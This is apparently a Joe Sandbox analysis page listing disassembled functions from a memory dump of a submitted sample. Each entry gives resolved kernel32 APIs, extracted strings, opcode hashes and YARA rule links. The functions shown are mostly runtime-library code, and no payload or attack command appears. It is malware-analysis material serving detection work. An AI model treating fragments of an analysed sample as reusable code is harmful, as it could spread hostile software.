Function 00BC15DC Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 167libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00BC15E2
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00BC15F0
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00BC1601
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00BC1612
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00BC1623
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00BC1634
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 00BC1645
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00BC1656
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 00BC1667
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00BC1678
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00BC1689
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00BC169A
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00BC16AB
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00BC16BC
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00BC16CD
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00BC16DE
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00BC16EF
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00BC1700
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 00BC1711
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 00BC1722
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 00BC1733
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00BC1744
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 00BC1755
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 00BC1766
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 00BC1777
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00BC1788
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00BC1799
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 00BC17AA
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00BC17BB
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00BC17CC
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 00BC17DD
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00BC17EE
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 00BC17FF
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00BC1810
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 00BC1821
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 00BC1832
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 00BC1843
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 00BC1854
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 00BC1865
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00BC1876
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 00BC1887

Strings

CreateEventExW, xrefs: 00BC164B
FreeLibraryWhenCallbackReturns, xrefs: 00BC1706
InitializeCriticalSectionEx, xrefs: 00BC1629
GetCurrentProcessorNumber, xrefs: 00BC1717
GetCurrentPackageId, xrefs: 00BC1739
CreateSymbolicLinkW, xrefs: 00BC172D
GetFileInformationByHandleEx, xrefs: 00BC175B
CreateThreadpoolWait, xrefs: 00BC16C2
SetThreadpoolTimer, xrefs: 00BC168F
InitOnceExecuteOnce, xrefs: 00BC163A
WakeAllConditionVariable, xrefs: 00BC17B0
FlushProcessWriteBuffers, xrefs: 00BC16F5
CreateThreadpoolWork, xrefs: 00BC1827
kernel32.dll, xrefs: 00BC15DD
WakeConditionVariable, xrefs: 00BC179F
CreateSemaphoreW, xrefs: 00BC165C
SetThreadpoolWait, xrefs: 00BC16D3
TryAcquireSRWLockExclusive, xrefs: 00BC17F4
CompareStringEx, xrefs: 00BC185A
AcquireSRWLockExclusive, xrefs: 00BC17E3
CreateThreadpoolTimer, xrefs: 00BC167E
SetFileInformationByHandle, xrefs: 00BC176C
InitializeConditionVariable, xrefs: 00BC178E
GetLocaleInfoEx, xrefs: 00BC186B
SubmitThreadpoolWork, xrefs: 00BC1838
SleepConditionVariableCS, xrefs: 00BC17C1
CloseThreadpoolWork, xrefs: 00BC1849
InitializeSRWLock, xrefs: 00BC17D2
CreateSemaphoreExW, xrefs: 00BC166D
FlsGetValue, xrefs: 00BC1607
FlsSetValue, xrefs: 00BC1618
GetSystemTimePreciseAsFileTime, xrefs: 00BC177D
FlsAlloc, xrefs: 00BC15EA
ReleaseSRWLockExclusive, xrefs: 00BC1805
LCMapStringEx, xrefs: 00BC187C
CloseThreadpoolTimer, xrefs: 00BC16B1
SleepConditionVariableSRW, xrefs: 00BC1816
GetTickCount64, xrefs: 00BC174A
WaitForThreadpoolTimerCallbacks, xrefs: 00BC16A0
CloseThreadpoolWait, xrefs: 00BC16E4
FlsFree, xrefs: 00BC15F6

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 3b002ab02ea2afa63cba024747af54f9b24c7414c03de2906c960edbd9c72649
Instruction ID: 9a7d139587a38de7decb06bb1f7d5ed27d12cdc94d573c2afb7d72f25dae122b
Opcode Fuzzy Hash: 3b002ab02ea2afa63cba024747af54f9b24c7414c03de2906c960edbd9c72649
Instruction Fuzzy Hash: BA6128B1962790AFD7406FBEAC4E8E63EE8BA697023408556B105D7272EFF49045CF50

Function 00BB5250 Relevance: 35.4, APIs: 4, Strings: 16, Instructions: 422COMMON

Download Yara Rule

APIs

std::_Facet_Register.LIBCPMT ref: 00BB535D
std::_Lockit::_Lockit.LIBCPMT ref: 00BB5568
std::_Lockit::~_Lockit.LIBCPMT ref: 00BB57A1

Strings

v^[I, xrefs: 00BB54B0
WM, xrefs: 00BB5533
0FJ, xrefs: 00BB5757
w^[I, xrefs: 00BB574D
w^[I, xrefs: 00BB53A0
v^[I, xrefs: 00BB571D
v^[I, xrefs: 00BB5763
WM, xrefs: 00BB5490
v^[I, xrefs: 00BB5320
v^[I, xrefs: 00BB5538
v^[I, xrefs: 00BB54F1
WM, xrefs: 00BB533D
0FJ, xrefs: 00BB5332
0FJ, xrefs: 00BB532B
v^[I, xrefs: 00BB577B
WM, xrefs: 00BB54A2

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: std::_$Lockit$Facet_Lockit::_Lockit::~_Register
String ID: v^[I$v^[I$v^[I$v^[I$v^[I$v^[I$v^[I$w^[I$w^[I$0FJ$0FJ$0FJ$WM$WM$WM$WM
API String ID: 878851027-139137744
Opcode ID: f08bceee975cf997faea1afb0c8170025138868427c92bdf9f81817beda6ccd2
Instruction ID: 192f313dfa5d013ff816be086c14c440fca8ba15a451cac2d28b25c3d1cf6bc0
Opcode Fuzzy Hash: f08bceee975cf997faea1afb0c8170025138868427c92bdf9f81817beda6ccd2
Instruction Fuzzy Hash: 3AD17C36F105058FDF08CA79C8963FF7BE39BA9304F199069E805EB351C9AB8C068B51

Function 00BAC2C0 Relevance: 32.3, APIs: 2, Strings: 16, Instructions: 789COMMON

Download Yara Rule

Strings

erro, xrefs: 00BAC885
+`^z, xrefs: 00BACA9B
@/}5, xrefs: 00BAC425
ream, xrefs: 00BAC89A
+`^z, xrefs: 00BAC697
+`^z, xrefs: 00BAC7E7
+`^z, xrefs: 00BAC54B
+`^z, xrefs: 00BAC6BB
str, xrefs: 00BAC893
@/}5, xrefs: 00BAC456
eam , xrefs: 00BAC88C
+`^z, xrefs: 00BAC80B
+`^z, xrefs: 00BAC51B
+`^z, xrefs: 00BACACB
@/}5, xrefs: 00BACB5B
@/}5, xrefs: 00BAC413

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: str$+`^z$+`^z$+`^z$+`^z$+`^z$+`^z$+`^z$+`^z$@/}5$@/}5$@/}5$@/}5$eam $erro$ream
API String ID: 0-912191643
Opcode ID: 3d2f14184932ff61a6fe2f39a2a35c84c15c145f895d14d63e9c4ee8ff262e47
Instruction ID: e445dc19bfe5befd8919bd00780ad170a4fd16a81464c322a89a01458f378e91
Opcode Fuzzy Hash: 3d2f14184932ff61a6fe2f39a2a35c84c15c145f895d14d63e9c4ee8ff262e47
Instruction Fuzzy Hash: EF424B766196018BCB28CE28C4E13BB7FD2EBD6300F2598AED046CB355DB35CD468B52

Function 00BDB242 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00BDB459

Strings

1#SNAN, xrefs: 00BDB34E
1#QNAN, xrefs: 00BDB355
1#INF, xrefs: 00BDB378
1#IND, xrefs: 00BDB347

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 1aba2d55161c1fcde7f4814ddfe0d6a272d4e2a5c60b76bcc09a71fa74c2a126
Instruction ID: 2736f0b01148e289ce7be39271d14015a44241731fc00b5373d06e7b5e62fb5b
Opcode Fuzzy Hash: 1aba2d55161c1fcde7f4814ddfe0d6a272d4e2a5c60b76bcc09a71fa74c2a126
Instruction Fuzzy Hash: D1D20771E082298FDB65CE28DD80BEAB7F5EB44315F1541EAD40DE7240EB78AE858F41

Function 00BD508B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00BD4A5C,00000002,00000000,?,?,?,00BD4A5C,?,00000000), ref: 00BD5124
GetLocaleInfoW.KERNEL32(?,20001004,00BD4A5C,00000002,00000000,?,?,?,00BD4A5C,?,00000000), ref: 00BD514D
GetACP.KERNEL32(?,?,00BD4A5C,?,00000000), ref: 00BD5162

Strings

ACP, xrefs: 00BD50A9
OCP, xrefs: 00BD50DF

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: f7243777a27f5be818cc7d63d64433997444016a51d32ac06cccdb9f260b2d49
Instruction ID: 4db96298798f0524e0f7c4cad78e7b1bd9d709169443a452820f34dc0629f43e
Opcode Fuzzy Hash: f7243777a27f5be818cc7d63d64433997444016a51d32ac06cccdb9f260b2d49
Instruction Fuzzy Hash: DA218372700901AAEB348F14CD42B97F6E6EF64B54B5684E6E90AE7310FB32DD41C790

Function 00BB85A0 Relevance: 7.9, Strings: 4, Instructions: 2898COMMON

Download Yara Rule

Strings

`[c, xrefs: 00BBA227
`[c, xrefs: 00BBA7F7
`[c, xrefs: 00BBA867
`[c, xrefs: 00BB9BEE

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: `[c$`[c$`[c$`[c
API String ID: 0-528005835
Opcode ID: d7e910b27f205712300ae98df389b2e095462845a068cf109d477db21b87e66d
Instruction ID: ab9fc65090ec5bec1b289e9c821e92b66d4103e35497956c4a0c7efb9b2f90a4
Opcode Fuzzy Hash: d7e910b27f205712300ae98df389b2e095462845a068cf109d477db21b87e66d
Instruction Fuzzy Hash: 7D233836A146408FDB68CA38C4E53FB77D2ABD5310F25986ED889C7351DEB6CC498B42

Function 00BA92E0 Relevance: 7.9, Strings: 6, Instructions: 393COMMON

Download Yara Rule

Strings

m6F-, xrefs: 00BA9758
m6F-, xrefs: 00BA9753
m6F-, xrefs: 00BA9337
LV{w, xrefs: 00BA9328
m6F-, xrefs: 00BA9319
LV{w, xrefs: 00BA9342

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: LV{w$LV{w$m6F-$m6F-$m6F-$m6F-
API String ID: 0-2110170497
Opcode ID: f6110e3bf0563b74627925d2ea599633b31e0132ad7949aa2ac1266aa7f050ef
Instruction ID: 16cfb95ae114b5d42ea3601729547ccc65d9394534fede2669d6ffa056f20dd0
Opcode Fuzzy Hash: f6110e3bf0563b74627925d2ea599633b31e0132ad7949aa2ac1266aa7f050ef
Instruction Fuzzy Hash: 96C15B367482014FDB18C938C4E67EB7BD29BE7310F29986ED889C7352D9678C499F41

Function 00BD4926 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BCF9CB: GetLastError.KERNEL32(00000000,?,00BD1D01), ref: 00BCF9CF
Part of subcall function 00BCF9CB: SetLastError.KERNEL32(00000000,?,?,00000028,00BCA98F), ref: 00BCFA71

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 00BD4A2E
IsValidCodePage.KERNEL32(00000000), ref: 00BD4A6C
IsValidLocale.KERNEL32(?,00000001), ref: 00BD4A7F
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00BD4AC7
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00BD4AE2

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 1f88c47bd9bec80e66eb3e50bf54812b3c63bce88b4afa942f88de7f0911cf92
Instruction ID: aad8c6a5c21427488f762a4e0b6ea3725cc816ecef34e7247ea368347b41fc4f
Opcode Fuzzy Hash: 1f88c47bd9bec80e66eb3e50bf54812b3c63bce88b4afa942f88de7f0911cf92
Instruction Fuzzy Hash: D4514C71A00205AFDB10DFA5DC85BAEB7F8EF19701F1545AAE910EB290FB70DA00CB61

Function 00BB7AA0 Relevance: 7.0, Strings: 5, Instructions: 742COMMON

Download Yara Rule

Strings

Q,j, xrefs: 00BB80AD
P,j, xrefs: 00BB7FD0
cOgo, xrefs: 00BB7D45
cOgo, xrefs: 00BB80C5
Q,j, xrefs: 00BB8340

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: P,j$Q,j$Q,j$cOgo$cOgo
API String ID: 0-3108151319
Opcode ID: 4940fd784e6ea84fe21e3c81f5ae76016fe7aed4517c8fa3da5900e48fa11dbf
Instruction ID: f1ef3466960f43e3e06c751588a7c55f301fc5229fa0e08baf48966439f1cbd7
Opcode Fuzzy Hash: 4940fd784e6ea84fe21e3c81f5ae76016fe7aed4517c8fa3da5900e48fa11dbf
Instruction Fuzzy Hash: 2D325877B696014BAB1CC93DCC963BE66C35BD8314F1E98AEE45AD7380DDBCC8418246

Function 00BA92D0 Relevance: 6.7, Strings: 5, Instructions: 455COMMON

Download Yara Rule

Strings

vector too long, xrefs: 00BA92D0
m6F-, xrefs: 00BA9337
LV{w, xrefs: 00BA9328
m6F-, xrefs: 00BA9319
LV{w, xrefs: 00BA9342

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: LV{w$LV{w$m6F-$m6F-$vector too long
API String ID: 2141394445-3611547895
Opcode ID: 68bb04292d72dce439f5a9ea97841275da25f5bd83c86ad6e20606b2929d5463
Instruction ID: 3f8e3bc299f5584ec2a8f9bd5b78df9e3079a463072764293d4e122b6d7224ba
Opcode Fuzzy Hash: 68bb04292d72dce439f5a9ea97841275da25f5bd83c86ad6e20606b2929d5463
Instruction Fuzzy Hash: 2DE18B36B182018FDB18CE29C8E53EB77D2ABDA300F19946ED45AC7351DA79CC499B41

Function 00BAB950 Relevance: 6.6, Strings: 5, Instructions: 339COMMONLIBRARYCODE

Download Yara Rule

Strings

ios_base::failbit set, xrefs: 00BABDAB
+<ur, xrefs: 00BABD6C
+<ur, xrefs: 00BABBC9
ios_base::eofbit set, xrefs: 00BABDC6
ios_base::badbit set, xrefs: 00BABD90

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: +<ur$+<ur$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 0-3932728395
Opcode ID: 08da5fa81c38ad2e7969babbf1302655d165046a96e30462012b33f709616a13
Instruction ID: 39e0f275d127364f31c8ef97199f802f6bef49400ec7c54e128c43ab72a4c8a1
Opcode Fuzzy Hash: 08da5fa81c38ad2e7969babbf1302655d165046a96e30462012b33f709616a13
Instruction Fuzzy Hash: DAA1BA3BF69B241B6B1CC4670CD267A65C397C8354B6FD1BE896EE7246DEBD8C020180

Function 00BCC870 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd75ffd76165e19137e0b0c20db2cd9f8180ca2029d34b93e14d1d1f846bb4c4
Instruction ID: 6c83d2f1f0f669b318d62b0f49a6bcd7551615a987fd61a833cacaa79236ec6b
Opcode Fuzzy Hash: cd75ffd76165e19137e0b0c20db2cd9f8180ca2029d34b93e14d1d1f846bb4c4
Instruction Fuzzy Hash: 1E022A71E012199BDB14CFA9D880BAEBBF1FF58314F2482ADE519E7341D731AD418B94

Function 00BD566D Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00BD575D

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: b12be93f9f424d2e569b7f0b39510d14b1f4d237ad434c9a17b57cf624461fb9
Instruction ID: e86998303687db4e05a817bb81d4f7d934857b308c8959ddd83f731f7cc148c6
Opcode Fuzzy Hash: b12be93f9f424d2e569b7f0b39510d14b1f4d237ad434c9a17b57cf624461fb9
Instruction Fuzzy Hash: 5571E171905559AFDB30AF28CC89ABAFBF9EB05300F5441EAE049A7311EA319E859F14

